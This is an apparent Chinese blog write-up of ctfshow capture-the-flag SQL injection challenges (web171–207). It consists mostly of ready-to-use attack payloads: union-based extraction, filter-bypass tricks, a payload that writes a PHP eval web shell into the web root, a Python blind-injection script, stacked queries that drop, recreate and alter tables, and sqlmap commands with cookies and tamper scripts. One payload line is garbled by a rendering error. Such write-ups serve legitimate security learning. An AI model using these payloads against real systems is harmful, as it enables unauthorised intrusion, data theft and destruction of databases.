ctfshow小记sql注入

简介: ctfshow小记sql注入

web171

简单的第一题

select username,password from user WHERE username != ‘flag’ and id = ‘99’ or id = ‘26’

99’ or id = '26

web172

尝试更改列名,使用联合查询

select username,password from user WHERE username != ‘flag’ and id = ‘9999’ UNION SELECT id, password FROM USER WHERE username = ‘flag’

9999’ UNION SELECT id, password FROM ctfshow_user2 WHERE username = 'flag

web173

select变成了3列

union select 对齐就成了

9999999’ union select id,id, password from ctfshow_user3 where username = 'flag

web174

输出过滤数字

替换所有数字,使用replace(‘string’,‘from_String’,‘to_String’)即可

REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(‘1234567890abcdefg’,‘1’,‘!’),‘2’,‘@’),‘3’,‘#’),‘4’,‘KaTeX parse error: Expected 'EOF', got '#' at position 230: …,'2','@'),'3','#̲'),'4','’),‘5’,‘%’),‘6’,‘^’),‘7’,‘&’),‘8’,‘*’),‘9’,‘(’),‘0’,‘)’) from ctfshow_user4 where ctfshow_user4.username='flag

使用脚本解回原字符串

def replace_chars(input_string):
    replace_dict = {'!': '1', '@': '2', '#': '3', '$': '4', '%': '5', '^': '6', '&': '7', '*': '8', '(': '9', ')': '0'}
    replaced_string = ''
    for char in input_string:
        if char in replace_dict:
            replaced_string += replace_dict[char]
        else:
            replaced_string += char
    return replaced_string
input_string = 'ctfshow{)(c!)($!-b^^*-$$a(-*(&)-)b!#ef&#fefe}'
replaced_string = replace_chars(input_string)
print(input_string)
print(replaced_string)

web175

if(!preg_match(‘/[\x00-\x7f]/i’, json_encode($ret))){

$ret[‘msg’]=‘查询成功’;

}

/x是什么编码??

原语句

99’ union select ‘1’,“<?php eval($_POST[1]);?>” into outfile '/var/www/html/1.php

php语句先经过base64再使用url编码

%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b

payload

99’ union select ‘1’,from_base64(“%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b”) into outfile '/var/www/html/1.php

数据库账号密码在./api/config.php

看到root root

使用antsword的数据库操作,拿到flag

web176

-1’ or 1='1

秒了,就像没有过滤一样

web177

空格被过滤,使用/**/或(`)或%0b代替空格,括号里的sql语句可用反引号代替空格,/**/相当于注释,能当空格

9999'/**/union/**/select/**/1,2,3%23

9999'/**/union/**/select/**/1,(select`password`from`ctfshow_user`where`username`='flag'),3%23

为什么括号内的等号前要使用反引号呢

web178

过滤了/**/

用%0b垂直制表符替换注释

999'%0bunion%0bselect%0b1,(select`password`from`ctfshow_user`where`username`='flag'),3%23

回显点的附近可用单引号包围替代应该出现的空格

web179

使用%0c绕过,在mysql中可以替代空格

999'%0cunion%0cselect%0c1,(select`password`from`ctfshow_user`where`username`='flag'),3%23

web181

select被ban,联合查询没法用了

99999'or`username`='flag

用反引号替代空格,即可

web182

flag字符串被ban,考虑使用like模糊匹配

web183

盲注,编写脚本

tableName=`ctfshow_user`where`pass`like'%25c%25'
import requests
import time
url="http://xxx.challenge.ctf.show/select-waf.php"
flag_str="ctfshow{....}"
#结果ctfshow{6b1b56ca-1c90-4216-890c-5429065b5e30}
flag_params="0123456789-{}qwertyuiopasdfghjklzxcvbnm"
flag=""
# 结果应该没有40位这么长,请酌情处理
for i in range(0,40):
  for x in flag_params:
    post_data={
      # "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
      "tableName":"`ctfshow_user`where`pass`like\"ctfshow{}%\"".format(flag+x)
    }
    response = requests.post(url, data=post_data)
    time.sleep(0.2)
    if response.text.find("user_count = 1;")>0 :
      print("{} is right".format(flag+x))
      flag+=x
      break
    else:
      print("{} is wrong".format(flag+x))
      continue
  print("{} is right flag string".format(flag))

web184

和183类似

web185

脚本

web187

一个特殊的密码,它转为二进制字符串后能对这一题的语句逃逸

SELECT ‘a’ or ‘ab’

字母串和字母串进行或操作得到0

SELECT ‘aiuvy’ or ‘2ab’

如果有一个串的开头是数字,或操作的结果为1

web188

username=0000&password=0000000000

为啥username是000能登录成功呢

//拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

username参数没有用双引号保护

数字和字符串比较时,会把字符串转化为数字,可以将列中非数字开头的内容用数字0匹配,而数字开头比如3zheshi用3匹配,33zheshi用33匹配

这个特性相当于mysql中的弱类型

web189

用脚本读文件

我是蓝狗,晚点做吧

web190

布尔盲注

web195

堆叠注入就是一行用分号执行多个语句

select被ban,难受

考虑用update 将所有密码修改,查询使用弱类型

username=1;update`ctfshow_user`set`pass`=1;&password=1

查询

username=0&password=1

web196

username:1;select(1) password:1

推测$row把select(1)的查询结果fetch到,和password输入的值1匹配

web197

过滤了into,但是能插入

删表,建表,插入数据

0;drop table if EXISTS ctfshow_user;create table ctfshow_user (`username` varchar(50),`pass` varchar(50));insert ctfshow_user (`username`,`pass`) value (1,2);

web198

不让删表,不让建表

考虑修改表,改列名,给列名换值

账号:0

密码:userAUTO

verify

DROP TABLE if EXISTS ctfshow_user;
CREATE TABLE ctfshow_user (
username VARCHAR(50),
pass VARCHAR(50)
)
INSERT INTO ctfshow_user (`username`,pass) VALUES (1,2)
ALTER TABLE ctfshow_user CHANGE `username` `passw2` varchar(100);
ALTER TABLE ctfshow_user CHANGE `pass` `username` VARCHAR(100);
ALTER TABLE ctfshow_user CHANGE `passw2` `pass` VARCHAR(100);

payload

0;ALTER TABLE ctfshow_user CHANGE `username` `passw2` varchar(100);ALTER TABLE ctfshow_user CHANGE `pass` `username` VARCHAR(100);ALTER TABLE ctfshow_user CHANGE `passw2` `pass` VARCHAR(100);

直接插入简单点,也能成

0;insert ctfshow_user(`username`,`pass`) value (0,0);

web199

把括号ban了,考虑修改列名,不过数据类型要改成text,它是不需要括号的

0;ALTER TABLE ctfshow_user CHANGE `username` `passw2` text;ALTER TABLE ctfshow_user CHANGE `pass` `username` text;ALTER TABLE ctfshow_user CHANGE `passw2` `pass` text;

插入数据没能成,推测后端过滤了操作

0;insert ctfshow_user (`username`,`pass`) value ('abc','abc');

web200

和上一题一样

web201

练习sqlmap

–user-agent

–referer

–dbs

-D [] --tables

-D [] -T [] --columns

-D [] -T [] --dump

–dbs

ctfshow_web

–tables

ctfshow_user

web202

–data "id=1"使用post提交数据

web203

–method修改提交的方式

使用PUT方式提交,为何要使用PUT方式提交呢

sqlmap -u http://26e0ce42-0398-4f22-81d2-ddc9d5e79b28.challenge.ctf.show/api/index.php --method='PUT' --data="id=1" --refer="ctf.show" --headers="Content-Type:text/plain"

添加headers为content-type:text/plain是以明文发送,不然data是以表单形式发送

web204

使用–cookie来设置cookie值

sqlmap -u http://835888da-0f31-4003-86e7-fca4505c462b.challenge.ctf.show/api/index.php --data="id=1" --referer="ctf.show" --headers="Content-Type:text/plain" --cookie="ctfshow=d5f60709375bbdaa2a781514c900ea4c" --method="PUT" -D ctfshow_web -T ctfshow_user --dump
sqlmap -u "http://835888da-0f31-4003-86e7-fca4505c462b.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=PHPSESSID=usurnlr294ka2v4bvf3gveshqg" -D ctfshow_web -T ctfshow_user -C pass --dump

web205

在测试之前访问安全链接

–safe-url

别忘了加上–safe-preq=1表示访问api/getToken一次

sqlmap -u "http://3680cbd7-a888-4827-b79b-46928f12e2f8.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=dqfmgg15n05u27n4amdr91uf4q" --safe-url="http://3680cbd7-a888-4827-b79b-46928f12e2f8.challenge.ctf.show/api/getToken.php" --safe-freq=1

web206

sql需要闭合,就是在sqlmap中设置前缀和后缀

sqlmap -u "http://bd009dcb-a6c5-4c91-80d5-a5cbb3581968.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=aodsatofgh8dfl5ekoq6qg9c3q" --safe-url="http://bd009dcb-a6c5-4c91-80d5-a5cbb3581968.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#"  -D ctfshow_web --tables

web207

试试–tamper

使用脚本绕过特殊过滤

sqlmap -u "http://2459d030-57f3-4caa-bb08-0e4cb8aa7a54.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=3n647o8sk7pha1r0jmnkuase6q" --safe-url="http://2459d030-57f3-4caa-bb08-0e4cb8aa7a54.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#" --tamper=space2comment  -D ctfshow_web -T ctfshow_flaxca --dump

后面是一些

–tamper脚本题目,暂时写到这

相关文章
|
4天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 简单使用
SQL 注入神器:SQLMap 简单使用
|
12天前
|
SQL 存储 Java
如何避免SQL注入攻击?
如何避免SQL注入攻击?
|
19天前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
76 0
|
1天前
|
SQL 数据库 关系型数据库
【SQL注入】 注入神器sqlmap的使用
数据库 SQL注入漏洞 sqlmap
34 2
|
3天前
|
SQL XML 安全
Pikachu SQL 注入通关解析
Pikachu SQL 注入通关解析
|
4天前
|
SQL 安全 关系型数据库
SQL注入常用姿势
该内容介绍了SQL注入攻击和防御的一些基本概念,以及MySQL中的几个函数:`MID()`用于提取文本字段的字符,`LIMIT()`用于限制查询结果的数量,`COUNT()`计算元组数量。它还详细讲解了两种SQL注入方法:基于布尔盲注和基于时间盲注,包括如何猜解数据库、表和字段信息。此外,还提到了SQL注入工具Sqlmap的使用方法和一些绕过过滤策略。
17 0
SQL注入常用姿势
|
4天前
|
SQL 机器学习/深度学习 人工智能
Web LLM 实验:利用 LLM API 实现 SQL 注入
Web LLM 实验:利用 LLM API 实现 SQL 注入
|
19天前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
19天前
|
SQL NoSQL 关系型数据库
一个基于 BigQuery 的 SQL 注入挖掘案例
一个基于 BigQuery 的 SQL 注入挖掘案例
22 0
|
19天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
40 0